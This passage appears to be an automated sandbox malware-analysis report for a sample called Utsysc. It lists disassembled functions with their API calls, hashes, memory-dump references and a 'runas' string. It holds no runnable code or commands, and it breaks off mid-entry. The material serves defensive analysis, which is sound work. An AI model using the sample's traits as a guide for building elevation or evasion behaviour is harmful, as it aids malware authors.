Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ef0250a1834fab0edcf039f908b4eb8de797c860636ef4b70f3785c62e0ec0bf
Instruction ID: 9faec1585e26744487a768c6866b863e6852c0955218e3902aa38fbff7171812
Opcode Fuzzy Hash: ef0250a1834fab0edcf039f908b4eb8de797c860636ef4b70f3785c62e0ec0bf
Instruction Fuzzy Hash: 80B14432A0124D9FDB21CF28C851BBEBBE5EF95304F1591AAEA54FB243D2348D01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EB7BE0 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,4F1E7031), ref: 00EB7C59
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EB7CC0
GetProcAddress.KERNEL32(00000000), ref: 00EB7CC7

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: d3e09f5b567e8b8299846668b3583f58b1e04de02a471cf85440d2946ac9207f
Instruction ID: a507f77ef8659af9ae4d3371cd0329bbd00ca21cd76b90523fbdae0524def357
Opcode Fuzzy Hash: d3e09f5b567e8b8299846668b3583f58b1e04de02a471cf85440d2946ac9207f
Instruction Fuzzy Hash: 26513671D082089BDB14EB68CD497EEBB75EF86310F505298E949B7781EB309EC08B91

Uniqueness

Uniqueness Score: -1.00%

Function 00EE8685 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00EE86D6
TypeidsEqual.LIBVCRUNTIME ref: 00EE86FB
PMDtoOffset.LIBCMT ref: 00EE8711
PMDtoOffset.LIBCMT ref: 00EE8792

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 536b91c93cc9a443e4d2db1690d166e70de36d104858822414d371620f3a6fb9
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: E951AD3590428D9FCF10CFAACA806AEBBF1EF15318F24559AE844F7250DB32A904CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EF1220 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00EEA40B: _free.LIBCMT ref: 00EEA419

Part of subcall function 00EF21F7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00EF8690,?,00000000,00000000), ref: 00EF2299

GetLastError.KERNEL32 ref: 00EF1288
__dosmaperr.LIBCMT ref: 00EF128F
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00EF12CE
__dosmaperr.LIBCMT ref: 00EF12D5

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 27545b8f5c492a98be046ade7964e55bf163b1edd26c191049625c94984b4f90
Instruction ID: 4b3d4f7d143df3909720d8bbb6c36c2288ec94895d43b5ff8c9e3f476a2abfed
Opcode Fuzzy Hash: 27545b8f5c492a98be046ade7964e55bf163b1edd26c191049625c94984b4f90
Instruction Fuzzy Hash: EF21A47160420DEFAB20AFE68C8087B77ACFF1436871495A9FA29F7161D731EC41A751

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE7D3 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00EEA389,?,?,?,?,00EEAFBD,?), ref: 00EEE7D8
_free.LIBCMT ref: 00EEE835
_free.LIBCMT ref: 00EEE86B
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00EEA389,?,?,?,?,00EEAFBD,?), ref: 00EEE876

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 841421c6b83862538e4417ef04e77849e18202d0575c5892b1d706ccd2f9caec
Instruction ID: c0e5f936824dfee4c8735759646791550116305aeeca8f6fc39bcaa890a9e25d
Opcode Fuzzy Hash: 841421c6b83862538e4417ef04e77849e18202d0575c5892b1d706ccd2f9caec
Instruction Fuzzy Hash: E4110C72200B8DBAD71527775C85E7B31A9ABC17B57393225F324F23E2EE318C05A114

Uniqueness

Uniqueness Score: -1.00%

Function 00EE4DA0 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00EE4E34
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00EE4DE5

Part of subcall function 00EDBD8C: SafeRWList.LIBCONCRT ref: 00EDBD9D

SafeRWList.LIBCONCRT ref: 00EE4E2A
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00EE4E4A

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextListSafeStealer$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 336577199-0
Opcode ID: e9c70ad900a117b7d9e2046a03cf1696a0702e5ace4bb4c80fe841eb95c76874
Instruction ID: 73e41fd5ac36d5ff00ded874834869c8d3cf39716be20cd9bd5607e5894b977e
Opcode Fuzzy Hash: e9c70ad900a117b7d9e2046a03cf1696a0702e5ace4bb4c80fe841eb95c76874
Instruction Fuzzy Hash: A321D0B160024EDFC704CF24C881AA5FBE9FB80318F14E2A6E4055F692E731E996CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE92A Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00EEAF57,00EB2307), ref: 00EEE92F
_free.LIBCMT ref: 00EEE98C
_free.LIBCMT ref: 00EEE9C2
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00EEAF57,00EB2307), ref: 00EEE9CD

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: cb6de4e5a2ba3128499b606556afeb4ec618ae553766f4ed0edc45a937f56363
Instruction ID: ca00a991bf442a2993e1074668777b70d8941cfbc4d8d28ec29d3f00b1e842c4
Opcode Fuzzy Hash: cb6de4e5a2ba3128499b606556afeb4ec618ae553766f4ed0edc45a937f56363
Instruction Fuzzy Hash: 4711E572200A8D7AD75123775C81E6B36E9ABC17797252264F214F23E3EA228C099120

Uniqueness

Uniqueness Score: -1.00%

Function 00ED2D5D Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00ED2D7F

Part of subcall function 00ED2F3B: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00ED8EF7

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00ED2DA0

Part of subcall function 00ED3C22: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00ED3C3E

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00ED2DBC
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 00ED2DC3

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: fe5b04374d789d8a10472f6d0e473454159da5306b9e8e387f67f4a3aeeafa6f
Instruction ID: d8fdad7add6b298a90ba20d7ade999f2c6388746cd6cd6bae0e26f590b3259a2
Opcode Fuzzy Hash: fe5b04374d789d8a10472f6d0e473454159da5306b9e8e387f67f4a3aeeafa6f
Instruction Fuzzy Hash: 9F01C071600705BBC720BF698C8599BBBF9EF20340B10A92FF655B2381D7B19A0287A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE6E2F Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00EE6E49
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00EE6E5D
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00EE6E75
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE6E8D

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: d7f6c0bce1466a924172738416cf3003f3436076f07fa55cb3e0b30f5908fe00
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6F01263A600558ABCF12AE5ACC41EEF77A99FA0394F001016FC15BB2D2DA70EE0196E0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF086 Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00EEF182,00000000,?,00EF5806,00000000,00000000,00EEF182,?,?,00000000,00000000,00000001), ref: 00EEF09C
GetLastError.KERNEL32(?,00EF5806,00000000,00000000,00EEF182,?,?,00000000,00000000,00000001,00000000,00000000,?,00EEF182,00000000,00000104), ref: 00EEF0A6
__dosmaperr.LIBCMT ref: 00EEF0AD

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: bdf7cf487e572d35327ecf6dfee7cee6a3654261298d088368385e152920cece
Instruction ID: 6f37192d9ed3902403bd04718c1922cbe0991481981c0d8f5569ca57529ab521
Opcode Fuzzy Hash: bdf7cf487e572d35327ecf6dfee7cee6a3654261298d088368385e152920cece
Instruction Fuzzy Hash: 47F0197260055DBBCF216BA3DC0889AFFA9FF443A07059529F529E7421D731E861DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF01D Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00EEF182,00000000,?,00EF587B,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 00EEF033
GetLastError.KERNEL32(?,00EF587B,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,00EEF182,00000000,00000104,?), ref: 00EEF03D
__dosmaperr.LIBCMT ref: 00EEF044

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 869e8dda6cb419985db1c891f42a63f112b61d9b33d040a29c0a48f260ac2e21
Instruction ID: 5204e357740b54251983dec629a0b842052e8fd834571af601ac782ec168a361
Opcode Fuzzy Hash: 869e8dda6cb419985db1c891f42a63f112b61d9b33d040a29c0a48f260ac2e21
Instruction Fuzzy Hash: 44F06D7260055DBBCB206FA3DC08956BFA9FF443A03059525F529E7521C731E851DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ED8A76 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ED39D6: TlsGetValue.KERNEL32(?,?,00ED2F57,00ED2D84,?,?), ref: 00ED39DC

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 00ED8AA0

Part of subcall function 00EE1D7F: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00EE1DA6
Part of subcall function 00EE1D7F: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00EE1DBF
Part of subcall function 00EE1D7F: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00EE1E35
Part of subcall function 00EE1D7F: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00EE1E3D

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 00ED8AAE
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00ED8AB8
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00ED8AC2

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: 7481851cf8713f543882756ca8c77ed924287f92050298f61f4f473a5e237129
Instruction ID: 7698eb757b2edefaeb40e032b26d037699aac651b3516ba55698d8d629fc30a1
Opcode Fuzzy Hash: 7481851cf8713f543882756ca8c77ed924287f92050298f61f4f473a5e237129
Instruction Fuzzy Hash: 82F0F63560061867CB25B766AC128ADBBEADF90B50B04202BF81173356DFB19F07C7C2

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA39F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00EB8000,0000000F,00F14630,00000000,00EB8000,?,00EF8A8A,00EB8000,00000001,00EB8000,00EB8000,?,00EF3965,00000000,?,00EB8000), ref: 00EFA3B6
GetLastError.KERNEL32(?,00EF8A8A,00EB8000,00000001,00EB8000,00EB8000,?,00EF3965,00000000,?,00EB8000,00000000,00EB8000,?,00EF3EB9,00EB8000), ref: 00EFA3C2

Part of subcall function 00EFA388: CloseHandle.KERNEL32(FFFFFFFE,00EFA3D2,?,00EF8A8A,00EB8000,00000001,00EB8000,00EB8000,?,00EF3965,00000000,?,00EB8000,00000000,00EB8000), ref: 00EFA398

___initconout.LIBCMT ref: 00EFA3D2

Part of subcall function 00EFA34A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00EFA379,00EF8A77,00EB8000,?,00EF3965,00000000,?,00EB8000,00000000), ref: 00EFA35D

WriteConsoleW.KERNEL32(00EB8000,0000000F,00F14630,00000000,?,00EF8A8A,00EB8000,00000001,00EB8000,00EB8000,?,00EF3965,00000000,?,00EB8000,00000000), ref: 00EFA3E7

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 01aad9d133601e45240d0c0506059bd48275dc05a1debaaf22f68cd9a061d72f
Instruction ID: b0f93d08adb1acfb0cc2dec98c6535483c97c9983fa81c2c004bbb8d4139db08
Opcode Fuzzy Hash: 01aad9d133601e45240d0c0506059bd48275dc05a1debaaf22f68cd9a061d72f
Instruction Fuzzy Hash: 4AF0307650211CBBCF222FD6DC0499D3F66FB483A1B459021FF2CA9130D6329820EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA8F0 Relevance: 6.0, APIs: 4, Instructions: 27threadsleepCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,00ECA7C0,00000000,00000000,00000000), ref: 00ECA906
CreateThread.KERNEL32(00000000,00000000,Function_0001A850,00000000,00000000,00000000), ref: 00ECA917
CreateThread.KERNEL32(00000000,00000000,00ECA8E0,00000000,00000000,00000000), ref: 00ECA928
Sleep.KERNEL32(00007530,?,00ECA983), ref: 00ECA935

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CreateThread$Sleep
String ID:
API String ID: 422425972-0
Opcode ID: de6b3ab68b930d59580ea2ed3a53e8d8e375b0c031833143bae149ae5c94d4b6
Instruction ID: 1e8a7ff7dee5c2524e91b7685e8ef1bfa074595c56e4bb0b456997932d8d6dbb
Opcode Fuzzy Hash: de6b3ab68b930d59580ea2ed3a53e8d8e375b0c031833143bae149ae5c94d4b6
Instruction Fuzzy Hash: D6E09272BD932CB6F17022A46D0BF492A246B08F59F39102AB7087F1D004D138025AEE

Uniqueness

Uniqueness Score: -1.00%

Function 00EB70B0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00EB7379

Strings

runas, xrefs: 00EB6C03

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: d700f79b598de797e774145a02c6c7909d22017e1764f69d4a370b7bc5c13225
Instruction ID: e3448b57ab5755dff6c6f78040729d4afadd9d33a0e63516876af05be1289cd8
Opcode Fuzzy Hash: d700f79b598de797e774145a02c6c7909d22017e1764f69d4a370b7bc5c13225
Instruction Fuzzy Hash: 16E17C71A00248ABDB08EB38CD46BDE7BB2DF81314F24925CF455BB7C6DB359A418792

Uniqueness

Uniqueness Score: -1.00%

Function 00EDE234 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDD6B2: std::bad_exception::bad_exception.LIBCMT ref: 00EDD6D4

GetCurrentThread.KERNEL32 ref: 00EDE314

Part of subcall function 00ED3862: GetThreadPriority.KERNEL32(?), ref: 00ED3868

Concurrency::details::ResourceManager::GetCoreCount.LIBCMT ref: 00EDE340

Strings

3, xrefs: 00EDE333

Memory Dump Source

